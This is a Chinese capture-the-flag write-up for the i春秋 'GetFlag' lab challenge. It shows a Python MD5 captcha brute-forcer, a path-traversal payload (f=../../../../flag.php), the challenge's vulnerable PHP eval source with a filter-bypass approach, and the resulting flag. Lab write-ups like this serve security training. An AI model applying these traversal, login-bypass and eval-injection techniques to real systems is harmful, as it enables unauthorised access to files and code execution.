i春秋-GetFlag(md5加密,字符串比较绕过)
练习平台地址
竞赛中心
题目描述
题目内容
你好,单身狗,这是一个迷你文件管理器,你可以登录和下载文件,甚至得到旗帜
点击登录
发现capture需要满足条件substr(md5(captcha), 0, 6)=xxxxxx
编写python脚本破解验证码
import hashlib
def getMd5(index):
"""
函数用于在指定整数范围内查找一个整数,使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配,若找到则返回该整数,若没找到返回None。
:param index: 用于匹配MD5值前6位的目标字符串
:return: 满足条件的整数或者None(表示没找到匹配的值)
"""
for i in range(100000, 100000000):
num = i
try:
md5 = hashlib.md5(str(num).encode("utf8")).hexdigest()
if md5[0:6] == index:
return num
except Exception as e:
print(f"计算MD5值时出现异常: {e}")
continue
return None
if __name__ == "__main__":
result = getMd5("xxxxxx")
if result is None:
print("没有找到满足条件的整数")
else:
print("找到的整数为:", result)
尝试万能密码登录
成功登录并返回了文件信息
下载文件后发现提示
flag在根目录下
抓取下载链接的包看能不能下载其他文件
发现f参数后跟着文件名,尝试修改
f=../../../../flag.php
根据平时利用小皮面板搭建网站的经验猜测
/var/www/html/flag.php
/var/www/html/Challenges/flag.php
成功得到源码
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if ((strlen($f) > 13) || (false !== stripos($f, 'return'))) {
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try {
eval("\$spaceone = $f");
} catch (Exception $e) {
return false;
}
if ($spaceone === 'flag') {
echo file_get_contents("helloctf.php");
}
代码分析
1.定义一个变量f,通过POST传入
2.对变量f进行字符串 =过滤
3.如果f的长度大于13或则f中有return就输出wowwwwwwwwww并退出
4.如果触发异常(f的字符等于spaceone的)会返回false
5.如果spaceone的值等于flag这个字符串就输出helloctf.php文件的内容
绕过思路
1.flag='flag';
2.PHP字符串的特别表示方式,传值时进行url编码
flag
flag{0d960bc3-186b-4a10-a749-4eaef43ae6c6}
注意事项
POST传值两种方式:
1.HackBar插件添加参数
2.Burp抓包修改请求方式后添加参数